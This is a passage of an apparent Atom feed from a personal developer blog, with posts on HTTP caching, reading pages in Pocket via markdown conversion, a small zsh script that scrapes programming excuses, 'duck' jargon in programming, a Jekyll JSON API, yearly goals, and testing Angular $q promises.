&lt;p&gt;By putting a very long cache period on these assets (1 year is the official max
the spec allows), it&#39;s like having them in cache forever. We just need to put a
shorter cache on the file that reference them (usually the HTML file).&lt;/p&gt;
&lt;p&gt;That way, when pushing to production a modification to a stylesheet or to a
script, we just have to update the references to those files in our HTML sources
so our clients can download the new content. The cache period on HTML files is
much shorter, so updates pushed to production will be quickly taken into account
by clients.&lt;/p&gt;
&lt;p&gt;Old content will stay in our clients cache, but this does not matter because we
will never request them again and unused items in cache are regularly erased.&lt;/p&gt;
&lt;p&gt;This technique is actually quite close to the &lt;code&gt;ETag&lt;/code&gt; we saw earlier, with one
big difference. Here, we can choose when we want to invalidate our client cache.&lt;/p&gt;
&lt;p&gt;In the end, we use a mix of both techniques to handle and optimal caching
strategy.&lt;/p&gt;
&lt;p&gt;When the URL of an element is important (like HTML pages, or API endpoints), we
set a short freshness period (in seconds or minutes, depending on the average
update rate). This way we&#39;re sure that our clients will have the new pushed
version quickly after we deployed it, while still limiting the number of
requests the server must handle.&lt;/p&gt;
&lt;p&gt;When the url of an element is not important (like CSS, JavaScript or image
files), we&#39;ll use the maximum freshness duration (1 year). This will let the
client keep the element in its cache forever, and avoid requesting the server
ever again for this asset. Whenever we update the file on our end, we&#39;ll
generate a new URL for it and simply update the reference to it in the HTML
source.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;We saw how three very simple actions could greatly lower the total number of
files to download, make them smaller and download them less often.&lt;/p&gt;
&lt;p&gt;Automatic file concatenation should be integrated into your build process, so
you can keep your development environment clean. Gzip compression only needs a
few configuration switches on your servers. Setting an optimal caching strategy
will require some work both on the build process and on the servers.&lt;/p&gt;
&lt;p&gt;All those modifications are quite cheap to put in place and are not tied to any
back-end or front-end specific language, they can be applied whatever your
technical stack is. There is no reason why you couldn&#39;t deploy them today.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using pocket without webviews</title>
    <link href="https://blog.pixelastic.com/2015/02/26/using-pocket-without-webviews/"/>
    <updated>2015-02-26T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/02/26/using-pocket-without-webviews</id>
    <content type="html">&lt;p&gt;I&#39;m using &lt;a href=&quot;http://getpocket.com/&quot;&gt;Pocket&lt;/a&gt; a lot. Whenever I find an interesting
link, I add it to pocket to read it later. Then, whenever I have to take the
subway, or wait in a queue, I read the latest articles I added.&lt;/p&gt;
&lt;p&gt;Pocket delivers a nice uncluttered API that lets you focus on what you&#39;re
reading, and remember where you were in an article so you can easily continue
where you left off.&lt;/p&gt;
&lt;p&gt;Unfortunatly, this does not work when Pocket has to fallback to its webview
mode. Sometimes, when a page is not correctly formatted, Pocket can&#39;t convert
it.&lt;/p&gt;
&lt;p&gt;More often than not, this made me stop reading the article altogether. But I
recently found a trick to help Pocket into converting the file.&lt;/p&gt;
&lt;h2&gt;Markdown to the rescue&lt;/h2&gt;
&lt;p&gt;I love markdown. I write my blog posts in markdown because I love its
simplicity.&lt;/p&gt;
&lt;p&gt;What I did is convert the page I want to add to Pocket to markdown, then upload
this page online to a service that will convert it back to html. I&#39;m actually
only doing a &lt;code&gt;html &amp;gt; markdown &amp;gt; html&lt;/code&gt; conversion, and it just works.&lt;/p&gt;
&lt;p&gt;You first need to grab your file (&lt;code&gt;wget&lt;/code&gt;), than convert it to markdown (I
personnaly use this
&lt;a href=&quot;http://www.aaronsw.com/2002/html2text/html2text.py&quot;&gt;python script&lt;/a&gt;). The final
step is simply to upload it to a service that can format markdown, like
&lt;a href=&quot;https://www.notehub.org/&quot;&gt;NoteHub&lt;/a&gt; or &lt;a href=&quot;https://gist.github.com/&quot;&gt;GitHub Gists&lt;/a&gt;.
And finally add &lt;em&gt;this&lt;/em&gt; page to pocket.&lt;/p&gt;
&lt;p&gt;Hope that helped. It made me able to add this
&lt;a href=&quot;http://www.grymoire.com/Unix/Sed.html&quot;&gt;sed page&lt;/a&gt; using this
&lt;a href=&quot;https://gist.github.com/pixelastic/08f21ebf608322ed08e7&quot;&gt;gist&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>The making of programmingexcuses.sh</title>
    <link href="https://blog.pixelastic.com/2015/02/16/the-making-of-programmingexcuses.sh/"/>
    <updated>2015-02-16T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/02/16/the-making-of-programmingexcuses.sh</id>
    <content type="html">&lt;p&gt;I recently discovered &lt;a href=&quot;http://programmingexcuses.com&quot;&gt;programmingexcuses.com&lt;/a&gt; which is a funny website
displaying random excuses that we often use when confronted with a bug we didn&#39;t
foresee.&lt;/p&gt;
&lt;p&gt;I though it was a very clever idea and that it would also be cool to have it on
the command line. I quickly googled it but found no result (except for this
&lt;a href=&quot;https://api.githunt.io/programmingexcuses&quot;&gt;API&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;So I decided to fill in this void.&lt;/p&gt;
&lt;p&gt;First, I needed the list of quotes. I could get the page through &lt;code&gt;curl&lt;/code&gt; easily.
Next, I needed a way to extract the content from the HTML. At first I tried it
with &lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;sed&lt;/code&gt; and &lt;code&gt;awk&lt;/code&gt; but my command line skills are still too weak and
couldn&#39;t get it to work properly.&lt;/p&gt;
&lt;p&gt;So I ran another google search to find a command line HTML parser. And I found
&lt;a href=&quot;https://github.com/EricChiang/pup&quot;&gt;pup&lt;/a&gt; which is to HTML what &lt;a href=&quot;https://github.com/stedolan/jq&quot;&gt;jq&lt;/a&gt; is to JSON. With &lt;code&gt;pup&lt;/code&gt;, I could easily
get the text I needed from the page.&lt;/p&gt;
&lt;p&gt;Now that I was able to get one excuse, I needed the full list. So I ran a loop
of 100 calls to the website, to get a random sample of 100 quotes.&lt;/p&gt;
&lt;p&gt;After running the list through &lt;code&gt;sort&lt;/code&gt; and &lt;code&gt;uniq&lt;/code&gt;, I ended up with a list of 77
quotes, which was enough.&lt;/p&gt;
&lt;p&gt;Here the final script that got me my list:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; i&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;00..100}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  curl&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; http://programmingexcuses.com/&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; pup&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;center a text{}&#39;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; &#92;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    &gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; excuses.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; excuses.txt&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; sort&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; uniq&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; sorted_excuses.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, I simply put the list in a simple bash script that does a &lt;code&gt;shuf -n 1&lt;/code&gt; on it
to display a random one on each invocation.&lt;/p&gt;
&lt;p&gt;Last step was to put that in a git repo, write a readme and push it to
&lt;a href=&quot;https://github.com/pixelastic/programmingexcuses.sh&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Overall, it took me about 2 pomodoros (50mn). I love how powerful command line
tools are.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Duck in computer jargon</title>
    <link href="https://blog.pixelastic.com/2015/01/24/duck-in-computer-jargon/"/>
    <updated>2015-01-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/01/24/duck-in-computer-jargon</id>
    <content type="html">&lt;p&gt;I&#39;ve been struck by how often we, developers, use the word &lt;em&gt;duck&lt;/em&gt; in our jargon.
Here is a little list of the usages that came from the top of my mind.&lt;/p&gt;
&lt;h2&gt;Duck Typing&lt;/h2&gt;
&lt;p&gt;This might be the more &lt;a href=&quot;http://en.wikipedia.org/wiki/Duck_typing&quot;&gt;common usage&lt;/a&gt;. It comes from the saying
that, &lt;em&gt;if it quacks like a duck, it is probably a duck&lt;/em&gt;. I&#39;ve mostly encountered
it in the Ruby ecosystem, where you don&#39;t really care about which class an
object belongs to, as long as it answers your calls to a specific method.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; Duck&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; quack&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    puts&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;Quaaaaack!&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; NotReallyADuckButIDontCare&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; quack&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    puts&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;Coin-Coin!&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Duck&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;quack&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; # Quaaaaack&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;NotReallyADuckButIDontCare&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;quack&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; # Coin-Coin!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is quite useful when iterating over collections of
similar-but-yet-different objects and wanting to call a specific method on each
of them, when every object implements it slightly differently.&lt;/p&gt;
&lt;h2&gt;Duck Feature&lt;/h2&gt;
&lt;p&gt;That&#39;s the name we use for a feature in a project who adds absolutely no value,
and we know it will never make it to the final product. But we keep it because
we know that at some point, either the marketing departement or the management
departement will feel the urge to ask us to change something to our product. And
when that moment arise, we just remove the &lt;em&gt;duck feature&lt;/em&gt; to please them.&lt;/p&gt;
&lt;p&gt;This one, allegedly, come from the good old days of Interplay, when &lt;a href=&quot;http://programmers.stackexchange.com/questions/122009/developing-a-feature-which-sole-purpose-to-be-taken-out&quot;&gt;they were
developing Battle Chess&lt;/a&gt;. The animation artist did a very great job
at animating one of the pieces and was very proud of his job. But he knew that
someone will have something to say about it and ask him to change something
(just because they could). So he added a little duck, walking side-by-side with
the Queen. As expected, he was asked to remove the duck, which he did, without
altering the real Queen animation.&lt;/p&gt;
&lt;h2&gt;Rubber Duck Debugging&lt;/h2&gt;
&lt;p&gt;How many times have we been stuck on a problem for minutes or hours, and finally
asking a colleague for help, or posting a question on StackOverflow ? And when
writing our question, or exposing our problem to our colleague, the solution
came right at us, clear as day.&lt;/p&gt;
&lt;p&gt;That&#39;s because we were so focused on the issue, that we did not take the time to
reassess why we needed to do it, and most of the time, we just discovered that
we actually had no issue to fix at all.&lt;/p&gt;
&lt;p&gt;So next time, instead of disturbing a colleage, try talking to yourself, or even
better, to a &lt;a href=&quot;http://en.wikipedia.org/wiki/Rubber_duck_debugging&quot;&gt;rubber duck&lt;/a&gt;, explaining your issue, and you
might find the answer simply by explaining the problem.&lt;/p&gt;
&lt;h2&gt;Canary Release&lt;/h2&gt;
&lt;p&gt;You might have heard of &lt;a href=&quot;https://www.google.fr/chrome/browser/canary.html&quot;&gt;Chrome Canary&lt;/a&gt;. This is the next Chrome
official release, but available sooner, for front-end developers. This allow
developers to test new features and API earlier, and report bugs, so the
official release will be more polished. This can also be applied to &lt;a href=&quot;http://martinfowler.com/bliki/CanaryRelease.html&quot;&gt;full
architecture&lt;/a&gt; deployment, when you&#39;re running the old and new
versions in parallel, but only a selected few are using the new platform at
first.&lt;/p&gt;
&lt;p&gt;But why is it named &lt;em&gt;Canary&lt;/em&gt;? Well, it comes from the old coal mines, where
miners where carriying crates of small canaries to test for poisonous gases. The
analogy is the same, we first test on a small subset of users, and if everything
is working fine, we&#39;ll deploy to everybody.&lt;/p&gt;
&lt;h2&gt;Any others?&lt;/h2&gt;
&lt;p&gt;The duck jargon seems to be used a lot in programming and I&#39;m sure there are
other instances that I&#39;m not aware of. I&#39;ll update this post whenever I&#39;ll
encounter a new one.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>This blog now has an API</title>
    <link href="https://blog.pixelastic.com/2015/01/15/this-blog-now-has-an-api/"/>
    <updated>2015-01-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/01/15/this-blog-now-has-an-api</id>
    <content type="html">&lt;h2&gt;An API, really?&lt;/h2&gt;
&lt;p&gt;Well, sort of.&lt;/p&gt;
&lt;p&gt;All posts can now be accessed in a &lt;code&gt;json&lt;/code&gt; format (just replace the final &lt;code&gt;/&lt;/code&gt;
with a &lt;code&gt;.json&lt;/code&gt;). This is obviously a read-only API.&lt;/p&gt;
&lt;p&gt;For example, my &lt;a href=&quot;http://blog.pixelastic.com/2014/12/27/past-and-future-objectives/&quot;&gt;previous post&lt;/a&gt; is accessible &lt;a href=&quot;http://blog.pixelastic.com/2014/12/27/past-and-future-objectives.json&quot;&gt;in &lt;code&gt;json&lt;/code&gt;
format&lt;/a&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/2014/12/27/past-and-future-objectives&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;title&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;2014 learnings and 2015 objectives&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;url&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;http://blog.pixelastic.com/2014/12/27/past-and-future-objectives/&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;tags&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;date&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;2014-12-27 00:00:00 +0100&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;html&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&amp;#x3C;p&gt;This is the end of the year, and I do realize now that [...]&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;markdown&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;This is the end of the year, and I do realize now that [...]&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It currently exposes the initial text in markdown as well as the formatted HTML
text, along with some metadata (id, url, date and tags).&lt;/p&gt;
&lt;p&gt;I had a need to have my post in &lt;code&gt;json&lt;/code&gt; format for processing them through Grunt,
so I thought I might as well expose them publicly. I&#39;m not sure people will ever
use it, but at least it does exist!&lt;/p&gt;
&lt;h2&gt;How was it done?&lt;/h2&gt;
&lt;p&gt;Jekyll lets you plug custom made scripts to be called in the generation process
in an aptly named &lt;code&gt;_plugins&lt;/code&gt; directory. I just had to create a
&lt;a href=&quot;https://github.com/pixelastic/blog.pixelastic.com/blob/master/app/_plugins/json.rb&quot;&gt;json.rb&lt;/a&gt; file that will take every post and create a new json page
from them, using a very minimalistic &lt;a href=&quot;https://github.com/pixelastic/blog.pixelastic.com/blob/master/app/_layouts/post.json&quot;&gt;post.json&lt;/a&gt; layout.&lt;/p&gt;
&lt;p&gt;All I had to do was build the custom object I wanted to return, which was a mix
of generated content, and metadata.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>2014 learnings and 2015 objectives</title>
    <link href="https://blog.pixelastic.com/2014/12/27/past-and-future-objectives/"/>
    <updated>2014-12-27T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/12/27/past-and-future-objectives</id>
    <content type="html">&lt;p&gt;This is the end of the year, and I do realize now that I learned and did a lot
this year. I would like to write it down today, as well as what I would like to
achieve next year, and see in one year how it went.&lt;/p&gt;
&lt;h2&gt;2014, the year that ends&lt;/h2&gt;
&lt;p&gt;First of all, I spend the year in an &lt;a href=&quot;http://www.octo.com/en&quot;&gt;awesome company&lt;/a&gt;
with very talented and kind people, with immense pools of knowledge and always
ready to share it.&lt;/p&gt;
&lt;p&gt;They taught me how to test my code, from unit testing to integration testing,
and I now can&#39;t code without writing the failing test first (TDD FTW!). And this
goes without saying all I learned about Agile methodology and conflict
resolution.&lt;/p&gt;
&lt;p&gt;I also discovered that my areas of expertises were not where I thought they
were. I&#39;ve always considered myself a &lt;em&gt;full stack developer&lt;/em&gt; (whatever that
means), but I actually don&#39;t know that much about back-end code. Never coded
anything in Java or .NET (and don&#39;t really want to, either). But I actually have
a large experience in front-end matters (from CSS to Javascript). I realized
that good CSS skills are actually quite rare.&lt;/p&gt;
&lt;p&gt;I went to a wide variety of tech conferences and meetups, and wrote
&lt;a href=&quot;http://meetups.pixelastic.com/&quot;&gt;extended summaries&lt;/a&gt;. At first it was for my
colleagues, but I then made them available to everyone. Those meetups were
invaluable source of R&amp;amp;D. Seeing 20mn of live performance of someone convinced
of what he&#39;s talking about is worth hours of blog reading. And the discussions
afterwards made me meet some very interesting people and spawn nice discussions.&lt;/p&gt;
&lt;p&gt;So I decided to go to the other side and became a
&lt;a href=&quot;http://talks.pixelastic.com/&quot;&gt;speaker&lt;/a&gt;. I chose a subject I really enjoyed and
tried to make it as accessible as possible, while keeping the message simple. I
quite enjoyed it.&lt;/p&gt;
&lt;p&gt;Writing summaries of conferences you&#39;ve attended makes you rethink what you
heard and makes you remember it more. But writing your own talk really makes you
go deep in what you know and what you don&#39;t know and is an invaluable exercise.&lt;/p&gt;
&lt;p&gt;On a purely tech-related side, I extensively learned AngularJs and Grunt. I also
discovered Jenkins and sharpened my git skills.&lt;/p&gt;
&lt;p&gt;I also migrated this website from a cakePHP based application on a shared
hosting to a Jekyll generated website on a private server. I now love the clean
simplicity of markdown files versionned with git, and am much more at ease
administrating my own server.&lt;/p&gt;
&lt;h2&gt;2015, the year to come&lt;/h2&gt;
&lt;p&gt;So, what will next year bring?&lt;/p&gt;
&lt;p&gt;I&#39;ll continue attending meetups and conferences, and would like to be a speaker
more often. There are some subjects I am passionate about and could talk about
and share.&lt;/p&gt;
&lt;p&gt;I also would like to invest myself more in the open-source world. I actually
only submit bug reports, small pull requests and use GitHub mainly as a backup
storage for some of my projects. But none get ever used by anybody else than me.
In 2015, I would like to be proud enough of one of my projects to release it and
have other people use it.&lt;/p&gt;
&lt;p&gt;I only scratched the surface of Rails and Node this year, and never actually
pushed a full project in production. I would like to go deeper than tutorials
and TODO applications.&lt;/p&gt;
&lt;p&gt;I would like to stop developing with AngularJS (after 1.5 years using it, I&#39;m
still not at all convinced). React seems a very good approach to the view
rendering and I would like to test if further. Why not giving Backbone another
chance, and trying Ember.&lt;/p&gt;
&lt;p&gt;I would like to go back to one of my first loves, CSS. I haven&#39;t touched it
enough lately and I really want to have a bit of fun with all the new
possibilities flexbox can give us.&lt;/p&gt;
&lt;p&gt;Grunt is fine, once you know your way around, but I really need to try out Gulp
or Brunch also.&lt;/p&gt;
&lt;p&gt;I haven&#39;t played enough with Vagrant and/or Docker for my taste. Docker is the
future and I would really like to have each of the websites hosted on my server
encapsulated in their own containers.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Never stop trying, never stop learning.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Testing $q promises with Angular</title>
    <link href="https://blog.pixelastic.com/2014/12/26/testing-$q-promises-with-angular/"/>
    <updated>2014-12-26T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2014/12/26/testing-$q-promises-with-angular</id>
    <content type="html">&lt;p&gt;I&#39;ve been working on a few Angular projects lately, and had to test some &lt;code&gt;$q&lt;/code&gt;
promises. And there was one little thing in how Angular implementation of &lt;code&gt;$q&lt;/code&gt;
and the &lt;code&gt;$digest&lt;/code&gt; cycle interact that bit me once or twice.&lt;/p&gt;
&lt;p&gt;If you ever fire a promise using &lt;code&gt;$q&lt;/code&gt; in one of your tests, know that Angular
will not resolve it until you tell it to. It means that your promise will stay
in an undefined state (neither resolved nor rejected) and your test will surely
fail. This is because Angular promises are tied to the &lt;code&gt;$scope&lt;/code&gt; lifecycle and as
we do not have one when running our tests, we have to add a bit of plumbing.&lt;/p&gt;
&lt;p&gt;To force Angular to finish every promise, just add the following &lt;code&gt;afterEach&lt;/code&gt;
implementation:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;afterEach&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;inject&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$injector&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $injector&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;$rootScope&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;$digest&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But this has a side-effet of triggering all your promises, even those you forgot
about, like loading the &lt;code&gt;templateUrl&lt;/code&gt; for your directives. This will in turn
block your tests because some promises will fail. The easiest way to correct
this is to mock the responses and always respond an empty object.&lt;/p&gt;
